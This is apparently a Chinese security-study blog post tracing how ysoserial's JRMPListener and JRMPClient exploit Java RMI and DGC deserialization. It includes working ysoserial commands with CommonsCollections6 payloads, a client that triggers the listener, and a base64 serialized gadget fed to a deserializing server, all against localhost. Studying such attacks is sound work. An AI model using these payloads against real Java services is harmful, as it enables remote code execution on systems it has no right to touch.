Ysoserial-JRMPListener/JRMPClient学习
2024-08-09 18:24:25

RMI 过程回顾

回顾一下 RMI 的流程,算是复习。我们就拿一段示例代码来举例子

1
2
3
4
5
6
7
8
9
10
11
12
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class RemoteServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
RemoteInterface remoteObject =new RemoteObject();
Naming.bind("rmi://127.0.0.1:1099/Hello",remoteObject);
}

}

JDK 版本稍微高一点之后,Registry 和 Server 端必须要在同一台机器上才能创建成功。
总共分为 3 步走,

  1. 创建注册中心
  2. 创建远程对象
  3. 绑定远程对象

再看一段 Client 端对 Registry 端和 Server 端通信示例代码

  1. 通过 IP 端口获取到注册中心
  2. 在通过调用注册中心的 lookup 方法,根据远程对象的 name 来获取到远程对象
  3. 调用其方法
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    import java.rmi.NotBoundException;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry;
    import java.util.Arrays;


    public class RMIClient {
    public static void main(String[] args) throws Exception {
    //通过getRegistry获取到注册中心
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);
    System.out.println(Arrays.toString(registry.list()));

    //然后通过Client端的Stub代理类发送一个远程对象以及方法的请求调用
    //这里我们通过注册中心拿到对应的远程对象,然后调用其方法
    RemoteInterface stub=(RemoteInterface) registry.lookup("Hello");
    System.out.println(stub.sayHello(new EvilClass().getEvil()));
    }

    }
    客户端和服务端的概念其实不是固定的,只需要明确谁往目标发送请求获取数据,谁就是 Client 客户端,而提供这些数据的目标就是 Server 服务端。如果按照这么来看,那我们自己恶意服务器上开的 JRMPListener,其实就相当于服务端,目标向我们恶意服务器发送一个 JRMP 请求,比如调用 naming.lookup 这种方法,就会得到一串序列化结果,客户端会在本地将其反序列化。
    参考过程 7 或 9,都会在 Client 进行一段对请求到数据的反序列化操作

JRMPListener 调试

根据上图,我们其实可以将整个 JRMPListener 利用的过程看作 7 和 8 的过程,也就是客户端 lookup 触发服务查找,然后 JRMP 服务端接收到请求,并在

初步攻击操作示例

ysoserial 中提供了 JRMPListener 的 EXP,纯研究的话就是自己本地 idea 按照如下设置启动即可。如果是真实实战或者在 CTF 中,我们可以在自己 VPS 上编译一个 Ysoserial 的项目,然后运行如下命令启动:
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections6 "touch /tmp/stoocea"
idea 设置如下:
image.png
然后我们再写一个客户端

1
2
3
4
5
6
7
8
9
package JRMPTest;

import java.rmi.Naming;

public class Client {
public static void main(String[] args) throws Exception{
Naming.lookup("rmi://127.0.0.1:7777/whateverYouWant");
}
}

image.png
发现客户端对我们开启的 JRMP 监听端口发送请求后,会在本地进行反序列化操作,触发 CC6。而这个反序列化的过程其实是 触发了 RMI 中的 DGC 机制,而在客户端进行的反序列化
这里我们可以两边都打断点进行调试,客户端触发的流程和 RMI 是一样的。

JRMPListener 逻辑

但是恶意服务端的逻辑就有所不同了,ysoserial 有自己的逻辑,这一段具体的代码位于 ysoserial.exploit.JRMPListener中,有一段特别熟悉,当前 Listener 进程开始之后调用 run 方法处理 socket 链接,然后初始化一些会用到的数据流,比如 bufferStream 和 outputStream
image.png
然后根据当前接收到的客户端请求过来的数据流判断使用的协议类型,比如我们此时客户端是通过 naming.lookup 方法的执行发送过来的请求信息,所以这里 protocol 的值为 75,在 Java RMI 调用过程中代表 JRMP 协议,那么他会进入case TransportConstants.StreamProtocol的选项,并且执行完逻辑。然后由于此时该情况并没有加 break 语句,所以还是会执行case TransportConstants.SingleOpProtocol:所对应的逻辑:**doMessage(s, in, out, this.payloadObject);**
image.png
domessage 里面的内容是根据 op 操作的值来进入 switch case 执行逻辑的,获取的 OP 来自于客户端的请求信息
image.png
这里跟 Registry 端处理客户端请求的逻辑是很像的
image.png
而在 docall 方法中就是将恶意对象序列化,并且将序列化数据写入通信流,等待客户端接收
image.png

被攻击客户端逻辑

先启动 JRMPListener,然后在naming.lookup处打个断点,然后跟进。(其实这里是可以双向打断点跟进的,只不过我觉得分开来比较清晰一点)
跟进naming.lookup
初步根据 Ip port 等信息创建 RegitryImpl_Stub,然后调用RegitryImpl_Stub 的 lookup
image.png
Stub 的 invoke,首先调用 newcall 建立与 JRMP 服务端的连接。也就是这一步走完服务端那边才接收到的 protocol 是 75,可以看作是 JRMP 协议握手的环节。
然后将我们的请求信息,包括请求的远程对象的 name 等等信息都序列化写进当前请求流var3.writeObject(var1);
image.png
然后调用 unicastRef 的 invoke 方法,这里的 Var1 是 StreamRemoteCall ,所以继续跟进StreamRemoteCall 的 executeCall 方法
image.png
代码量较大,一部分一部分来
首先获取当前通信流的 DGC 确认消息,看看当前请求到的这个远程对象是否需要被 DGC 掉,那很明显我们首次请求肯定不会,那么将该信息 releaseOutputStream 出去,告诉服务端。
之后开始再向服务端那里获取到请求到的远程对象数据流(其实这里就是我们的恶意对象流了)
image.png
readByte 获取序列化字节的具体消息,然后 readID 一下,这里的 ID 是判断我们是否正确的请求到了远程对象,过程是否有差错。
之后就是一段 switch 来反序列化该恶意对象了,走过 readObject,即可完成攻击
image.png

总结

其实就服务端需要 yoserial 的伪造,所以代码跟进多一点,客户端被攻击的过程其实就是跟我们初次学习 RMI 中攻击客户端的逻辑是差不多的。只不过我们刚开学的那会,并没有具体说怎么打,只是把客户端被攻击的流程过了一遍,并不知道该如何去利用,那这次就是通过伪造 JRMP 恶意服务端,向客户端发送恶意对象的序列化数据完成的攻击。很有实战意义。

JRMPClient 调试

既然我们构造的是恶意 Client,并且具体的攻击点是 DGC 的话,那可以确定就是直接攻击 Server 端了,因为 DGC 的 Stub 和 Skel 本身都是存在于服务端的,作用是用来确定客户端还在不在使用当前这个远程对象,如果没有使用就把他垃圾回收并清除内存。

DGC 创建过程

所以,我觉得有必要回顾一下 DGC 的创建过程:
在远程对象实例化的时候,我们一路走到 TCPTransport 的 exportObject 方法
image.png
在调用完 listen 方法,创建一个 socket 等待注册中心(在本次攻击中也可以叫做客户端了)发送数据之后,会调用一次 Transport 的 exportObject 方法,我们跟进
set 的方法就不看了,我们走进 putTarget 方法
image.png
在 putTarget 方法中调用到了 DGCImpl 的静态变量,那么此时会完成 DGCImpl 类的初始化,那么就一定会执行到其静态代码块,跟进
image.png
多开一条线程用来创建一条 DGCImpl_Skel,DGCImpl_Stub,相当于是创建了一个新的远程对象,并且将其 put 到了 ObjectTable 中
image.png

DGC 处理服务逻辑

其实也可以看做 DGC 是如何被攻击的逻辑。这里入口点是:服务端通过注册中心的 sun.rmi.transport.tcp.TCPTransport#handleMessages方法。
紧接handleMessages方法中调用到 UnicastServerRef 的 dispatch 方法,而此时 dispatch 方法又会调用到 oldDispatch 方法,前面的具体内容就不跟进了,直接看 oldDispatch
获取请求输入流中的数据,逐步获取到 readLong 的时候,这里 JRMPClient 端会提前设置好 Long 区为 objOut.writeLong(-669196253586618813L);也就是 DGC 操作的标识
image.png
那么在调用this.skel.dispatch(var1, var2, var3, var4);的时候,跟进的就是 DGCImpl_Skel 的 dispatch 方法了
image.png
这里会根据 var3 来选择到底是执行 dirty 操作还是 clean 操作,那么在 JRMPClient 中是设置的 1,也就是会进入 case1,clean 的逻辑
image.png
经过 readObject,触发攻击链
上面的流程简单的回顾了一下 DGC 的创建流程,以及服务端在接收到客户端的请求信息之后如何处理的逻辑,相当于是过了一遍 DGC 在服务端是如何被攻击的,接下里看 ysoserial 中的 JRMPClient 是如何构造恶意 Client 的

JRMPClient 逻辑

最重要的就是这段 makeDGCCall 方法了,将由它来发送 DGC 请求
image.png

  • 建立 socket 连接,保持通信状态,然后设置 TCP 协议连接
  • 然后设置 JRMP 连接的通信状态写入数据流
  • 设置 DGC 的 Long 数据区,以及一些其他无关但是不能为空的数据区
  • 最后写入恶意反序列化对象的序列化数据

整体操作还是比较容易理解,到这肯定就想去试试是否能够打成功了,然后就遇到了一个问题:就是什么样的服务端才能被攻击呢?

JRMPListener/Client Gadget

这两段 GadGets 存在的意义就在于当我们能够执行反序列化操作的时候,能够利用这两个 GagGets 达到建立被害服务端和被害客户端的操作,具体流程我就不跟了,直接利用:

JRMPListener

1
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 7777|base64 >1.txt

image.png
来一个无限循环的 Server 端,来反序列化操作,不然执行完一遍之后其端口开启的状态就没了,具体代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package JRMPTest;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.util.Base64;
import java.util.Scanner;
public class Server {
public static void main(String[] args) throws Exception{
String base64String = "rO0ABXNyACJzdW4ucm1pLnNlcnZlci5BY3RpdmF0aW9uR3JvdXBJbXBsT+r9SAwuMqcCAARaAA1n" +
"cm91cEluYWN0aXZlTAAGYWN0aXZldAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAHZ3JvdXBJRHQA" +
"J0xqYXZhL3JtaS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Hcm91cElEO0wACWxvY2tlZElEc3QAEExq" +
"YXZhL3V0aWwvTGlzdDt4cgAjamF2YS5ybWkuYWN0aXZhdGlvbi5BY3RpdmF0aW9uR3JvdXCVLvKw" +
"BSnVVAIAA0oAC2luY2FybmF0aW9uTAAHZ3JvdXBJRHEAfgACTAAHbW9uaXRvcnQAJ0xqYXZhL3Jt" +
"aS9hY3RpdmF0aW9uL0FjdGl2YXRpb25Nb25pdG9yO3hyACNqYXZhLnJtaS5zZXJ2ZXIuVW5pY2Fz" +
"dFJlbW90ZU9iamVjdEUJEhX14n4xAgADSQAEcG9ydEwAA2NzZnQAKExqYXZhL3JtaS9zZXJ2ZXIv" +
"Uk1JQ2xpZW50U29ja2V0RmFjdG9yeTtMAANzc2Z0AChMamF2YS9ybWkvc2VydmVyL1JNSVNlcnZl" +
"clNvY2tldEZhY3Rvcnk7eHIAHGphdmEucm1pLnNlcnZlci5SZW1vdGVTZXJ2ZXLHGQcSaPM5+wIA" +
"AHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHcSABBVbmljYXN0" +
"U2VydmVyUmVmeAAAHmFwcAAAAAAAAAAAcHAAcHBw";


// 解码Base64字符串
byte[] decodedBytes = Base64.getDecoder().decode(base64String);
// 反序列化
Object deserializedObject = deserialize(decodedBytes);
while (true) {
System.out.println(System.currentTimeMillis());
Thread.sleep(3000);
}
}
public static Object deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais)) {
return ois.readObject();
}
}

}

调用栈如下
image.png
然后再去试着用 yso 中的 JRMPClient 打一下
image.png
攻击效果如下
image.png

JRMPClient

那 JRMPClient 的 Gadgets 也是如此使用

1
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient 127.0.0.1:7777|base64

image.png
然后开启 JRMPListener
java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPListener 7777 CommonsCollections6 calc
再模拟一次反序列化触发该 Gadgets
攻击效果如下
image.png

总结

关于 RMI 中两端(客户端 服务端)互打的具体实现,以及在实战时的攻击操作学习。重新过了一遍 RMI 的流程,更加清晰了,suki~